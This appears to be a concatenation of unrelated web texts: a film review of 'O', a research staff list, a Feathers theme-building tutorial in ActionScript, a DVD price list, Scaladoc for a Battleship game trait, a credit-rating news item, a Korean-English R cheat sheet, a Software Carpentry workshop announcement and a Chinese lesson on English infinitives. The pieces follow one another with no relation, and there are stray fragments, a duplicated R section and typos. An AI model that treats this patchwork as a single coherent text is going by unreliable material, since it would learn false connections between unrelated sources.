I did have a few reservations about the movie though. First of all, what was with all of the gangsta hip-hop music used in pretty much every other scene transition? It was cute at first, but became a little too obvious and annoying after a few times. The film was also edited pretty choppily...like some scenes were cut out and no one "cleaned it up" afterwards. I also didn't like the fact that Hartnett's character, the man behind much of the nastiness that goes down in this film, was infallible. In other words, pretty much everything he says or asks of someone, happens automatically and without any goofups. I mean, I know the guy is smart and all, but I would have appreciated a little more "realism" under some of the circumstances. But overall, the movie will devastate you. It's not a "fun date movie". It's not a movie about the high school basketball team and how its black star falls for the white girl from the other side of the tracks. It's about jealousy, love, envy, fury, passion, revenge and pretty much any other negative thought that's ever passed through your head. Is it worth seeing? Oh, most definitely! (pun intended) It's a moving picture with great performances, no Shakespearian speak (thank you, God!) and an outstanding directorial job by Nelson. The final scene alone is enough to send a massive chill down your spine, and I was especially impressed with the director's choice of music near the end. In fact, the whole sequence was quite reminiscent of the final showdown scene from TAXI DRIVER, and I guess that's saying something right there.
Where's JoBlo coming from? 10 Things I Hate About You (7/10) - Election (7/10) - Hamlet (6/10) - Love's Labor's Lost (8/10) - Natural Born Killers (9/10) - Save the Last Dance (7/10) - Shakespeare in Love (5/10)
Review Date: August 22, 2001 Director: Tim Blake Nelson Writer: Brad Kaaya Producers: Daniel Fried, Eric Gitter, Anthony Rhulen Actors: Mekhi Phifer as Odin James Josh Hartnett as Hugo Goulding Julia Stiles as Desi Brable Genre: Drama Year of Release: 2001 ------------------------------------ JoBlo's Movie Emporium http://www.joblo.com/ ------------------------------------ (c) 2001 Berge Garabedian
========== X-RAMR-ID: 29327 X-Language: en X-RT-ReviewID: 246041 X-RT-TitleID: 1108976 X-RT-SourceID: 573 X-RT-AuthorID: 1021 X-RT-RatingText: 7/10
The review above was posted to the
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Please direct comments/criticisms of the review to relevant newsgroups.
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Related links: index of all rec.arts.movies.reviews reviews


Peter J. Park (Harvard Medical School)
Principal Investigator
Nils Gehlenborg (Harvard Medical School)
Co-Investigator
Burak Alver (Harvard Medical School)
Scientific Project Manager
Jeremy Johnson (Harvard Medical School)
Lead Senior Software Developer
Carl Vitzthum (Harvard Medical School)
Back-End / Full Stack Web Developer
Alexander Balashov (Harvard Medical School)
Front-End / Full Stack Web Developer
Andrew Schroeder (Harvard Medical School)
Senior Data Curator
Koray Kirli (Harvard Medical School)
Data Curator
Soohyun Lee (Harvard Medical School)
Senior Bioinformatics Scientist


Creating custom Feathers themes
Many apps, including games, require heavy branding that involves styling every Feathers component with custom skins and fonts. In these cases, the example themes included with Feathers won't offer enough customization options to match the designer's vision. We will need a custom theme, built from scratch.
Creating a theme class
Let's create a new theme from scratch. We'll create a subclass of StyleNameFunctionTheme
:
package
{
public class CustomTheme extends StyleNameFunctionTheme
{
public function CustomTheme()
{
super();
}
private function initialize():void
{
}
}
}
We've added a function named initialize()
. We'll soon fill this function with calls to other functions that get different parts of the theme ready to use. However, before we can call initialize()
, we need to decide how we're going to manage our assets like textures and fonts. We don't want to call this function until all assets are fully loaded.
Managing assets
There are two ways to include assets with a theme. Each has its own advantages and disadvantages, and we'll need to pick which one works best for the specific app that we're building.
Embedded assets
The simplest way to include assets to embed the assets at compile time. This approach lets us simply instantiate the classes when they are needed, and we don't need to wait for an event to indicate that they are ready. However, embedding files will increase the memory that our app requires at runtime. On mobile, memory can be limited, and this approach will restrict how many textures that we can keep in memory simultaneously. For a small set of assets, that may be a small price to pay for convenience. For multiple texture atlases, using up memory that we might need at runtime is often unacceptable.
Let's start by embedding a texture atlas in our CustomTheme
class:
[Embed(source="/../assets/images/atlas.png")]
private static const ATLAS_BITMAP:Class;
[Embed(source="/../assets/images/atlas.xml",mimeType="application/octet-stream")]
private static const ATLAS_XML:Class;
A texture atlas requires of two files, an image and an XML file. Let's add a member variable to our theme to hold the TextureAtlas
once it is created:
private var atlas:TextureAtlas;
Now, we'll add a function named createTextureAtlas()
that will instantiate the TextureAtlas
using our embedded assets:
private function createTextureAtlas():void
{
var atlasTexture:Texture = Texture.fromEmbeddedAsset( ATLAS_BITMAP );
var atlasXML:XML = XML( new ATLAS_XML() );
this.atlas = new TextureAtlas( atlasTexture, atlasXML );
}
In the CustomTheme
constructor, we'll call createTextureAtlas()
, and then we can immediately call initialize()
:
public function CustomTheme()
{
super();
this.createTextureAtlas();
this.initialize();
}
If our theme requires other embedded assets, such as bitmap fonts or additional texture atlases, we simply need to instantiate these assets before we call initialize()
.
Loading assets at runtime
Another approach to including assets with a theme is to load them from external files at runtime. Starling's AssetManager
supports loading a set of multiple files at runtime, and it provides conveniences like automatically converting bitmaps to textures and registering bitmap fonts. Once everything is loaded, our assets will use less memory than if they were embedded, meaning that we can pack in more textures and things. Loading assets doesn't happen instantaneously, though, and we cannot initialize the theme until the AssetManager
finishes loading our assets. Additionally, our app will need to wait before it can instantiate Feathers components.
Similar to the previous example that used embedded assets, we want to load a texture atlas to be used by our CustomTheme
class. We'll need two files for the texture atlas, we'll call them atlas.png
and atlas.xml
.
Let's define a couple of member variables, one for the texture atlas, and one for the AssetManager
that will load the required files:
private var atlas:TextureAtlas;
private var assets:AssetManager;
Now, we'll add a function named loadAssets()
that will instantiate the AssetManager
and enqueue the asset files:
private function loadAssets():void
{
this.assets = new AssetManager();
this.assets.enqueue( "atlas.png" );
this.assets.enqueue( "atlas.xml" );
this.assets.loadQueue( this.assets_onProgress );
}
At the end, we call loadQueue()
on the AssetManager
to load our assets. We need to pass a callback to this function so that we know when the assets finish loading. The callback accepts a single parameter, a variable with a value between 0.0
and 1.0
. Once this value is equal to 1.0
, our assets have fully loaded:
private function assets_onProgress( progress:Number ):void
{
if( progress < 1.0 )
{
return;
}
this.atlas = this.assets.getTextureAtlas( "atlas" );
this.initialize();
this.dispatchEventWith( Event.COMPLETE );
}
If the assets aren't loaded, we simply return. Once the assets are ready, we can access the TextureAtlas
from the AssetManager
. We pass the name of the texture atlas to the getTextureAtlas()
function. The name of a texture atlas is the image's file name, without the extension. In this case, our file is named atlas.png
, so we pass "atlas"
to getTextureAtlas()
.
Once we've set the atlas
member variable, we can call initialize()
. If our custom theme needed to load more assets, we'd want to get them all from the AssetManager
before calling initialize()
.
Finally, we want to inform the rest of our app that it can proceed, so we'll dispatch Event.COMPLETE
. The app can listen for this event very easily:
this.theme = new CustomTheme();
this.theme.addEventListener( Event.COMPLETE, theme_completeHandler );
Once the listener is called, the app is free to start instantiating components, and the theme will style them automatically.
Styling components
Once our assets are loaded, we can start setting up the functions called to style each component in our app. Inside one of these functions, styling is simply a matter of directly setting a component's properties. It's the same type of styling you would do if you were using Feathers without a theme. For example, we might set some styles on a Button
:
private function setButtonStyles( button:Button ):void
{
button.defaultSkin = new Image( this.atlas.getTexture( "button-up" ) );
button.downSkin = new Image( this.atlas.getTexture( "button-down" ) );
button.padding = 20;
button.gap = 15;
button.fontStyles = new TextFormat( "_sans", 18, 0x333333 );
}
In our initialize()
function, let's call a new function that we'll create in a moment, named initializeStyleProviders()
:
private function initialize():void
{
this.initializeStyleProviders();
}
Now, let's create initializeStyleProviders()
and set up our first style provider, the one for the Button
class:
private function initializeStyleProviders():void
{
// button
this.getStyleProviderForClass( Button ).defaultStyleFunction = this.setButtonStyles;
}
getStyleProviderForClass()
returns a StyleNameFunctionStyleProvider
.
StyleNameFunctionStyleProvider
has two main capabilities. Its defaultStyleFunction
property sets the function that will be called for the most common variation of a particular component. Using the code above, if we create regular old button, we want our setButtonStyles()
function to be called.
However, it's common for different variations of the same component to exist together in one app. For instance, some buttons may be visually highlighted in red to indicate that something potentially dangerous is about to happen, like deleting some data. The Button.ALTERNATE_STYLE_NAME_DANGER_BUTTON
constant is defined by Feathers to help differentiate this variation of a button. You can add this style name to the component to tell the theme that it should be styled differently:
button.styleNameList.add( Button.ALTERNATE_STYLE_NAME_DANGER_BUTTON );
Inside our theme, we can add a new function for this button variation. We'll name it setDangerButtonStyles()
:
private function setDangerButtonStyles( button:Button ):void
{
button.defaultSkin = new Image( this.atlas.getTexture( "danger-button-up" ) );
button.downSkin = new Image( this.atlas.getTexture( "danger-button-down" ) );
button.padding = 20;
button.gap = 15;
button.fontStyles = new TextFormat( "_sans", 18, 0x333333 );
}
Now, we can use the setFunctionForStyleName()
on the StyleNameFunctionStyleProvider
:
this.getStyleProviderForClass( Button )
.setFunctionForStyleName( Button.ALTERNATE_STYLE_NAME_DANGER_BUTTON, this.setDangerButtonStyles );
If a component has this style name, the default setButtonStyles()
function won't be called. Instead, setDangerButtonStyles()
will be called.
Styling sub-components
Some components have sub-components that need to be skinned too. For instance, the Slider
component has a thumb that is a Button
. These sub-components may be skinned using style names provided by their parent component. For instance, we can use Slider.DEFAULT_CHILD_STYLE_NAME_THUMB
to skin the thumb of a slider.
this.getStyleProviderForClass( Button )
.setFunctionForStyleName( Slider.DEFAULT_CHILD_STYLE_NAME_THUMB, this.setSliderThumbStyles );
Components usually provide a way to customize a sub-component's style name, in case something other than the default is needed. For a Slider
, we can set the customThumbStyleName
property:
slider.customThumbStyleName = "custom-thumb";
Then, we can use that custom style name just like we would for other variations of a component:
this.getStyleProviderForClass( Button )
.setFunctionForStyleName( "custom-thumb", this.setSliderThumbStyles );
Setting global defaults
Certain global properties are frequently set by a theme. For instance, we might want to set FeathersControl.defaultTextRendererFactory
and FeathersControl.defaultTextEditorFactory
in our custom theme, depending on how we prefer to render text or edit it in a TextInput
.
Let's create an initializeGlobals()
function:
private function initializeGlobals():void
{
FeathersControl.defaultTextRendererFactory = function():ITextRenderer
{
return new TextBlockTextRenderer();
};
FeathersControl.defaultTextEditorFactory = function():ITextEditor
{
return new StageTextTextEditor();
};
}
We can call this function before the call to initializeStyleProviders()
in initialize()
:
private function initialize():void
{
this.initializeGlobals();
this.initializeStyleProviders();
}


| School Of Rock £13.99 BUY » |
Starsky & Hutch £13.99 BUY » |
Smallville 2 £40.99 BUY » |
| Millennium 1 £29.99 BUY » |
ER Season 2 £33.99 BUY » | Return of the King £13.99 BUY » |
This feature is a chance for you to find out what DVDs Sendit.com staff are spending their hard-earned cash on.
Who is this?


 Probe
Sph.  Probe
Sph.  Probe
Sph.  Probe
Sph.


trait Player extends AnyRef
- Alphabetic
- By Inheritance
- Player
- AnyRef
- Any
- Hide All
- Show All
- Public
- All
Abstract Value Members
-
abstract
def
askForDirection(): Boolean
Ask the player for a direction
Ask the player for a direction
- returns
true if the given direction is horizontal and false if it's vertical
-
abstract
def
askForTarget(): (Int, Int)
Ask the player for a target cell coordinates
Ask the player for a target cell coordinates
- returns
a Tuple containing the coordinates of the chosen cell
- abstract val fleet: List[Ship]
- abstract val number: Int
- abstract val primaryGrid: Grid
- abstract val score: Int
- abstract val trackingGrid: Grid
-
abstract
def
updatePlayer(primaryGrid: Grid = primaryGrid, trackingGrid: Grid = trackingGrid, fleet: List[Ship] = fleet, number: Int = number, score: Int = score): Player
Create a copy of Player with updated parameters
Create a copy of Player with updated parameters
- primaryGrid
Player's Primary Grid
- trackingGrid
Player's Tracking Grid
- fleet
Player's Ships
- number
Player's Number
- score
Player's Score
- returns
new Player with updated parameters
Concrete Value Members
-
final
def
!=(arg0: Any): Boolean
- Definition Classes
- AnyRef → Any
-
final
def
##(): Int
- Definition Classes
- AnyRef → Any
-
final
def
==(arg0: Any): Boolean
- Definition Classes
- AnyRef → Any
-
def
addShip(fleet: List[Ship] = fleet, ship: Ship): List[Ship]
Adds a ship to a fleet (which is the player's fleet by default)
Adds a ship to a fleet (which is the player's fleet by default)
TODO should return option
- fleet
list of ships
- ship
ship to add to the list
- returns
new fleet or same fleet in case of collision
-
final
def
asInstanceOf[T0]: T0
- Definition Classes
- Any
-
def
clone(): AnyRef
- Attributes
- protected[java.lang]
- Definition Classes
- AnyRef
- Annotations
- @native() @HotSpotIntrinsicCandidate() @throws( ... )
-
final
def
eq(arg0: AnyRef): Boolean
- Definition Classes
- AnyRef
-
def
equals(arg0: Any): Boolean
- Definition Classes
- AnyRef → Any
-
final
def
getClass(): Class[_]
- Definition Classes
- AnyRef → Any
- Annotations
- @native() @HotSpotIntrinsicCandidate()
-
def
hashCode(): Int
- Definition Classes
- AnyRef → Any
- Annotations
- @native() @HotSpotIntrinsicCandidate()
-
def
incrementScore: Player
Increments the Player's score by one
Increments the Player's score by one
- returns
Player with new score
-
final
def
isInstanceOf[T0]: Boolean
- Definition Classes
- Any
-
final
def
lost(fleet: List[Ship] = fleet): Boolean
Tells if the player has lost meaning that all of his ships have sunk
Tells if the player has lost meaning that all of his ships have sunk
- fleet
List of ships to check (player's ships by default)
- returns
true if all of the ships have sunk and false otherwise
- Annotations
- @tailrec()
-
final
def
ne(arg0: AnyRef): Boolean
- Definition Classes
- AnyRef
-
final
def
notify(): Unit
- Definition Classes
- AnyRef
- Annotations
- @native() @HotSpotIntrinsicCandidate()
-
final
def
notifyAll(): Unit
- Definition Classes
- AnyRef
- Annotations
- @native() @HotSpotIntrinsicCandidate()
-
final
def
placeFleet(shipSizes: List[Int], ui: Boolean = true): Player
Asks the Player to create a number of ships with different sizes given in a list and add them to the Player's fleet
Asks the Player to create a number of ships with different sizes given in a list and add them to the Player's fleet
- shipSizes
List of the ship sizes to add to the fleet
- returns
copy of Player with an updated tracking grid and a new fleet
- Annotations
- @tailrec()
-
def
reset(): Player
Resets all player's parameters except number and score
Resets all player's parameters except number and score
- returns
new player with reset parameters
-
def
shoot(p2: Player, pos: (Int, Int)): (Player, Player)
Shoot a player and update the tracking grid
Shoot a player and update the tracking grid
- p2
the targeted player
- pos
position of the cell to shoot
- returns
a Tuple containing the actual player with an updated tracking grid and the targeted player with an updated primary grid
-
final
def
synchronized[T0](arg0: ⇒ T0): T0
- Definition Classes
- AnyRef
-
def
takeFleetDamage(pos: (Int, Int)): Player
Update the players fleet after a ship has taken damage on a given cell position
Update the players fleet after a ship has taken damage on a given cell position
- pos
position of the damaged cell that belongs to one of the player's ships
- returns
copy of Player with updated fleet
-
def
takeShot(pos: (Int, Int)): (Player, Boolean)
Take a shot on a given cell position
Take a shot on a given cell position
- pos
position of the cell to shoot
- returns
Tuple containing a copy of Player with an updated primary grid and a Boolean telling if the shot cell was hit or missed
-
def
toString(): String
- Definition Classes
- AnyRef → Any
-
def
updateTracking(pos: (Int, Int), hit: Boolean): Player
Updates the tracking grid by marking a cell as hit or missed
Updates the tracking grid by marking a cell as hit or missed
- pos
position of the cell to mark
- hit
Boolean equals true to mark as hit and false to mark as missed
- returns
copy Player with an updated tracking grid
-
final
def
wait(): Unit
- Definition Classes
- AnyRef
- Annotations
- @throws( ... )
-
final
def
wait(arg0: Long, arg1: Int): Unit
- Definition Classes
- AnyRef
- Annotations
- @throws( ... )
-
final
def
wait(arg0: Long): Unit
- Definition Classes
- AnyRef
- Annotations
- @native() @throws( ... )


India Ratings downgrades Texmaco's long-term issuer rating
The agency has lowered Texmaco's long-term issuer rating to 'IND A' from 'IND AA-' and has simultaneously placed it on 'Rating Watch Negative' (RWN).
by PTIIndia Ratings & Research has downgraded Texmaco Rail and Engineering Ltd's long-term issuer rating in the wake of rising net debt and weak credit metrics.
The agency has lowered Texmaco's long-term issuer rating to 'IND A' from 'IND AA-' and has simultaneously placed it on 'Rating Watch Negative' (RWN).
The downgrade reflects Texmaco's continued negative free cash flow, rising net debt and weaker-than-previously- expected credit metrics, India Ratings said in a release.
"The reliance on external financing remains critical for the company, and while it has been able to tie up incremental bank financing, the availability of adequate liquidity on its own balance sheet on a sustained basis will be key to resolving the rating watch," it said.


Chapter 2 Base R
2.1 Running R code
도움말 Getting Help
도움말 보기
?mean
“특정함수”에 대한 도움말 보기
help.search(‘weighted mean’)
“특정 용어”에 대한 도움말 검색
help(package = ‘dplyr’)
“특정 패키지”에 대한 도움말 보기
객체에 대한 정보 보기
str(iris)
객체 구조에 대한 요약정보 보기
class(iris)
객체의 class 조회
패키지 Using Packages
install.packages(‘dplyr’)
Download and install a package from CRAN.
library(‘dplyr’)
Load the package, making all its functions available to use.
dplyr::select
Use a particular function from a package
data(iris)
Load a built-in dataset into the environment.
워킹디렉토리 Working Directory
getwd()
Find the current working directory.
setwd(‘D://file/path’)
Change the current working directory.
Use Projects in RStudio to set the working directory to the folder you are working in.
Vectors
Creating Vectors
c(2, 4, 6) # Join elements into a vector
#> [1] 2 4 6
2:6 # An interger sequence
#> [1] 2 3 4 5 6
seq(2, 3, by=0.5) # A complex sequence
#> [1] 2.0 2.5 3.0
rep(1:2, times=3) # Repeat a vector
#> [1] 1 2 1 2 1 2
rep(1:2, each=3) # Repeat elements of a vector
#> [1] 1 1 1 2 2 2
Vector Functions
x <- c(3,2,6,1,6,2)
sort(x)
#> [1] 1 2 2 3 6 6
rev(x)
#> [1] 2 6 1 6 2 3
table(x)
#> x
#> 1 2 3 6
#> 1 2 1 2
unique(x)
#> [1] 3 2 6 1
Selecting Vector Elements
By Position
x <- c(3,2,6,1,6,2)
x[4]
#> [1] 1
x[-4]
#> [1] 3 2 6 6 2
x[2:4]
#> [1] 2 6 1
x[-(2:4)]
#> [1] 3 6 2
x[c(1,5)]
#> [1] 3 6
By Value
x <- c(3,2,6,1,6,2)
x[x==6]
#> [1] 6 6
x[x<3]
#> [1] 2 1 2
x[x %in% c(2,6)]
#> [1] 2 6 6 2
Named Vectors
x['apple']
프로그래밍 Programming
For Loop
for (variable in sequance){
Do something
}
for (i in 1:4){
j <- i + 10
print(j)
}
#> [1] 11
#> [1] 12
#> [1] 13
#> [1] 14
While Loop
while (condition){
Do something
}
while (i < 5){
print(i)
i <- i + 1
}
#> [1] 4
If Statements
if (condition){
Do something
} else {
Do something different
}
i = 5
if (i > 3){
print('Yes')
} else {
print('No')
}
#> [1] "Yes"
Functions
function_name <- function(var){
Do something
return(new_variable)
}
square <- function(x){
squared <- x * x
return(squared)
}
square(5)
#> [1] 25
Condtions
a == b
a != b
a > b
a < b
a >= b
a <= b
is.na(a)
is.null(a)
a <- c(1, 4, NA, 6)
is.na(a)
#> [1] FALSE FALSE TRUE FALSE
is.null(a)
#> [1] FALSE
파일 입출력 Reading and Writing Data
## create txt file
# fileConn<-file("file.txt")
# writeLines(c("Hello","World"), fileConn)
# close(fileConn)
df <- c("Hello","World")
write.table(df, 'file2.txt')
df2 <- read.table('file2.txt')
print(df2)
#> x
#> 1 Hello
#> 2 World
df <- c("apple","graph")
write.csv(df, 'file3.csv')
df3 <- read.csv('file3.csv')
print(df3)
#> X x
#> 1 1 apple
#> 2 2 graph
df <- c("apple3","graph3")
save(df, file = 'file4.Rdata')
load('file4.Rdata')
print(df)
#> [1] "apple3" "graph3"
객체 타입 Types
Coverting between common data types in R.
매트릭스 Matrices
matrix basic
m <- matrix(x, nrow = 3, ncol = 3)
matrix 생성
m[2, ]
Select a row
m[ , 1]
Select a column
m[2, 3]
Select an element
matrix 연산
t(m)
Transpose
m %*% n
Matrix Muliplication
solve(m, n)
Find x in: m * x = n
Lists
A list is a collection of elements which can be of different types.
# List 생성
l <- list(x = 1:5, y = c('a','b'))
l
#> $x
#> [1] 1 2 3 4 5
#>
#> $y
#> [1] "a" "b"
# List subset
l[[2]]
#> [1] "a" "b"
l[1]
#> $x
#> [1] 1 2 3 4 5
l$x
#> [1] 1 2 3 4 5
l['y']
#> $y
#> [1] "a" "b"
Data Frames
A special case of list where all elements are the same length.
# Data Frame 생성
df <- data.frame(x=1:3, y = c('a','b','c'))
df
#> x y
#> 1 1 a
#> 2 2 b
#> 3 3 c
# Understanding a data frame
# View(df)
head(df, 2)
#> x y
#> 1 1 a
#> 2 2 b
nrow(df)
#> [1] 3
ncol(df)
#> [1] 2
dim(df)
#> [1] 3 2
Matrix subsetting
df[ , 2]
df[2, ]
df[2, 2]
df$x
df[[2]]
Binding data frames
cbind
Bind columns
rbind
Bind rows
A <- data.frame(x=1:3, y=c('a','b','c'))
B <- data.frame(y=11:13)
C <- data.frame(x=4:5, y=c('d','e'))
cbind(A, B)
#> x y y
#> 1 1 a 11
#> 2 2 b 12
#> 3 3 c 13
rbind(A, C)
#> x y
#> 1 1 a
#> 2 2 b
#> 3 3 c
#> 4 4 d
#> 5 5 e
Strings
# paste
x = "Hello"
y = "World!"
z = "My name is DK"
paste(x, y)
#> [1] "Hello World!"
paste(x, y, sep='')
#> [1] "HelloWorld!"
paste(x, y, sep='-')
#> [1] "Hello-World!"
paste(z, collapse=' ')
#> [1] "My name is DK"
# Find regular expression matches in x.
pattern = "DK"
replace = "Dookyung"
grep(pattern, z)
#> [1] 1
# replace matches in x with a string.
gsub(pattern, replace, z)
#> [1] "My name is Dookyung"
toupper(replace)
#> [1] "DOOKYUNG"
tolower(replace)
#> [1] "dookyung"
nchar(replace)
#> [1] 8
Factors
# Factors
factor(x)
cut(x, breaks = 4)
Statistics
lm(y ~ x, data=df)
Linear model.
glm(y ~ x, data=df)
Generalised linear model.
summary(x)
Get more detailed information out a model.
t.test(x, y)
Perform a t-test for different between means
pairwise.t.test()
Perform a t-test for paired data.
prop.test
Test for a difference between proportions.
aov
Analysis of variance.
Factors
# Factors
factor(x)
cut(x, breaks = 4)
Statistics
lm(y ~ x, data=df)
Linear model.
glm(y ~ x, data=df)
Generalised linear model.
summary(x)
Get more detailed information out a model.
t.test(x, y)
Perform a t-test for different between means
pairwise.t.test()
Perform a t-test for paired data.
prop.test
Test for a difference between proportions.
aov
Analysis of variance.
Distributions
| kind | Random_Var | Density_Func | Cumulative_Dist | Quantile |
|---|---|---|---|---|
| Normal | rnorm | dnorm | pnorm | qnorm |
| Poisson | rpois | dpois | ppois | qpois |
| Binomial | rbinom | dbinom | pbinom | qbinom |
| Uniform | runif | dunif | punif | qunif |
Plotting
x <- rnorm(30)
y <- rnorm(30) + 1:30
par(mfrow=c(1,2))
plot(x)
plot(y, x)
duration = faithful$eruptions
hist(duration, right=FALSE)


We may define
discoursal point of view
as
the relationship, expressed through discourse structure, between the implied author or some other addresser, and the fiction.


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--- layout: post authors: ["Aleksandra Pawlik"] title: "Announcing WiSE Krakow!" date: 2014-11-23 time: "08:00:00" tags: ["Workshops", "Women in Science and Engineering"] ---
After running several Software Carpentry workshops for women in science and engineering in North America, we are moving east: on 6th and 7th December we will run a WiSE workshop in Krakow, Poland.
Like previous WiSE workshops, this one is open to women at all stages of their research careers, from graduate students, post-docs, and faculty to staff scientists at hospitals and in the public, private, and non-profit sectors. The instructors at the workshop will be Paulina Lach of Krakow's University of Science and Technology AGH and Aleksandra Pawlik, the Software Sustainability Institute's Training Leader. The helpers are Agnieszka Celińska (Pedagogical University of Krakow), Iwona Grelowska (University of Science and Technology AGH), Patrycja Radaczyńska (Creativestyle), and Anna Ślimak (Lunar Logic).
The workshop is sponsored by the Department of Computer Science at the University of Science and Technology AGH, Google, and Webmuses, a women empowered IT-oriented community, and is also supported by the Polish Computing Association. We are grateful for their support, and look forward to the event.


不定式短语
不定式，即to的后面加动词。表示动作还没有定下来，它可能发生在未来，也可能不发生。
不定式有“逻辑将要”的含义，故其动作发生在前面的动词之后，而且多表达意愿、目的、企图等。
一、不定式短语
不定式，即to的后面加动词。表示动作还没有定下来，它可能发生在未来，也可能不发生。
不定式有“逻辑将要”的含义，故其动作发生在前面的动词之后，而且多表达意愿、目的、企图等。
不定式同时具有与分词和动名词类似的功能。
1.1、名词从句的化简
1.1.1、作主语
不定式和动名词作主语一般可以通用。但在表达还没有做一件事时，使用不定式会更加准确。
To make large sums of money is my dream.

挣大钱是我的梦想。
注：如果本句用Making large sums of money is my dream.也是对的，但是用不定式暗示“我要去挣钱”，但目前没有挣到钱。
不定式作主语时，可用形式主语It取代，然后将不定式放在句子主干之后。
It was his job to repair bicycles and at that time he used to work fourteen hours a day.
It was his job that he repaired bicycles and at that time he used to work fourteen hours a day.
他那是的工作是修理自行车，并且通常是一天工作14个小时。
So, it comes as a surprise to learn that giant fish are terrifying the divers on North Sea oil rigs.
So, it comes as a surprise that we learn giant fish are terrifying the divers on North Sea oil rigs.
因此，听说北海石油钻井平台上的潜水员受到巨型鱼类的恐吓，确实很让人吃惊。
不定式短语作主语时，一律视为第三人称单数。但and连接的两个不定式短语作主语时，视为复数。
To become a great scientist is his ultimate goal.
成为伟大的科学家是他的终极目标。
To study and to play are equally important.
学习和玩耍同样重要。
造句练习（注：鼠标选中空白处有惊喜哦）：
成为职业篮球选手是我的抱负之一。
To become a professional basketball player is one of my ambitions.
It is one of my ambitions to become a professional basketball player.精通一门外语需要不断的努力。
To master a foreign language takes constant effort.
It takes constant effort to master a foreign language.提高我们的生产力是我们今年的主要目标。
To increase our productivity is our main goal this year.
It is our main goal this year to increase our productivity.对于某些人而言，活着就是受苦。
For some people, to live is to suffer.
It is suffering for some people to live.一天大笑三次有意健康。
It is good for your health to laugh three times a day.
To laugh three times a day it is good for your health.犯错是人之常情，宽恕则超凡入圣。
To err is human, to forgive is divine.
知道做什么是智慧，知道怎么做是技能。
To know what to do is wisdom, To know how to do it is skill.
让自己的孩子诚实是教育的开端。
To make your children capable of honesty is the beginning of education.
爱是世界上最美的动词。
To love is the most beautiful verb in the world.
人生得一知己足矣。
It is enough to have one close friend in one’s life.
诅咒黑暗不如点亮一支蜡烛。（临渊羡鱼，不如退而结网）
It is better to light a candle than to curse the darkness.
1.1.2、作宾语
大部分及物动词，其后既可以用不定式，也可以用动名词，比如begin doing = begin to do。但是，表示“企图”或者“意愿”的及物动词，其宾语是“将要发生的事情”，所以，通常只能用不定式作宾语。
这类动词有：attempt企图、choose选择、decide决定、expect期望、hope希望、intend打算、manage设法、offer/volunteer主动提议、plan计划、want要、wish希望、endeavor努力
另外，需要注意的是，不定式绝对不能作介词的宾语。
Debbie is only eleven years old and she hopes to set up a new world record.
Debbie is only eleven years old and she hopes that she can set up a new world record.
黛比只有11岁，她希望创一项新的世界纪录。
Last Christmas, the circus owner, Jimmy Gates, decided to take some presents to a children’s hospital.
Last Christmas, the circus owner, Jimmy Gates, decided that he could take some presents to a children’s hospital.
去年圣诞节，马戏团老板吉米·盖茨决定送些礼物给儿童医院。
It has four Rolls-Royce Merlin engines, but the group will need to have only three of them rebuilt.
It has hour Rolls-Royce Merlin engines, but the group will need that they will have only three of them rebuilt.
该飞机装配有4台罗尔斯·罗伊斯的默林发动机，但是他们只需要修复其中的3台。
The pilot managed to circle the balloon for some time.
The pilot managed that he circled the balloon for some time.
飞行员设法绕着气球飞了一阵。
在第四大句型中，不定式作不完全及物动词的宾语时，必须用形式宾语it取代，加上宾语补语之后，再加不定式。比如，“某人认为做某事是怎么样的”，即：sb. + think/believe/find/deem/consider + it + (to be) + 名词或形容词（补语） + 不定式（宾语），此时to be可省略。
I think it necessary to drink a lot of water.
I think it necessary that I should drink a lot of water.
我人为每天多喝水很有必要。
I consider it a great honor to be invited to dinner.
我认为能被邀请参加晚宴是很大的荣幸。
I deem it a great honor to serve you.
我认为为您服务是一项光荣。
A Frenchman, for instance, might find it hard to laugh at a Russian joke.
例如，法国人听完一则俄国笑话可能很难发笑。
和名词从句不同，不定式短语可以和动词make组成宾补句型，用于表示“使某种事情变得怎么样”，即：make + it + (to be) + 名词或形容词（补语） + 不定式（宾语）
The invention of computers has made it possible to free man from the complex labor.
计算机的发明使得人们有可能从繁杂劳动中解放出来。
I made it my business to know all about them.
我把了解他们作为我的业务。
造句练习（注：鼠标选中空白处有惊喜哦）：
我主动提议帮玛丽忙，但她拒绝了（take sb. down）。
I offered to give Mary a hand, but she turned me down.
我们企图说服约翰戒烟，但没有效果。
We attempted to persuade John to quit smoking, but in vain.
我不觉得理解VOA的慢速英语节目有难度。
I don’t think it difficult to understand the VOA Special English.
虽然声音被听得很清楚，但费了我很长时间才作出反应。
Though the sound could be heard clearly, it took me a long time to react.
补充：有些及物动词，即可以用动名词也可以用不定式作宾语，但是意义不同。要区分很简单，动名词表示已经做过的事情，不定式表示正打算做的事情。比如说：
stop doing（停止做某事）
stop to do（停下来去做某事）
remember doing（记得做过某事）
remember to do（记得去做某事）
forget doing（忘记做过某事）
forget to do（忘记去做某事）
1.1.3、作表语
不定式作表语时，通常是名词性的表语。
The only way to do this was to operate.
做这件事唯一的办法就是手术。
My hope is to become a scientist like Einstein.
我的理想就是做一个像爱因斯坦那样的科学家。
当主语是人时，用不定式作表语，表示一定会发生的情况（如计划，命令，肯定推测等）。
I am to realize the goal of life.（肯定推测）
我一定要实现人生的目标。
You are to be back by 10 o’clock.（命令）
你必须十点以前回来。
You are not to smoke in the reading-room.（用于否定句表示“禁止”）
你不能在阅读室吸烟。
特征动词（seem似乎是、appear看起来是、prove被证明是、turn out结果是）的表语，通常用不定式，此时to be可省略。
These birds seem (to be) unaffected by climate.
这些鸟似乎不受气候的影响。
He appears (to be) a perfectly normal person.
他看上去是一个完全正常的人。
The search proved (to be) difficult.
这次搜索被证明是很困难的。
He turned out (to be) right.
结果他是对的。
1.1.4、作宾语补语
当不定式作宾语补语或被动语态的主语补语时，如果不定式是to be，则可以省略。
She wanted him to repair their son’s bicycle!
她希望他修理孙子的自行车。
When it was eventually brought to shore, it was found (to be) over thirteen feet long.
当终于把它弄上岸后，人们发现它身长超过了13英尺。
1.1.5、作同位语
不定式还可以作同位语。
My plan to visit the town was refused.
My plan that I will visit the town was refused.
我参观小镇的计划被拒绝了。
1.1.6、疑问句 + 不定式
当疑问词和不定式，构成名词短语时，用法和名词相同。
I was just wondering how to spend the morning.
I was just wondering how I would spend the morning.
我正不知道怎么消磨这一上午呢。
1.2、状语从句的化简
不定式作状语，只能表目的和结果。
1.2.1、作目的状语
Fifteen policemen had to push very hard to get him off the main street.
Fifteen policemen had to push very hard so that they could get him off the main street.
15个警察不得不用很大的力气把它推离主要街道。
When the bull got close to him, he clumsily stepped aside to let it pass.
When the bull got close to him, he clumsily stepped aside so that he could let it pass.
当公牛逼近他时，他踉跄地往旁边一闪，牛扑空了。
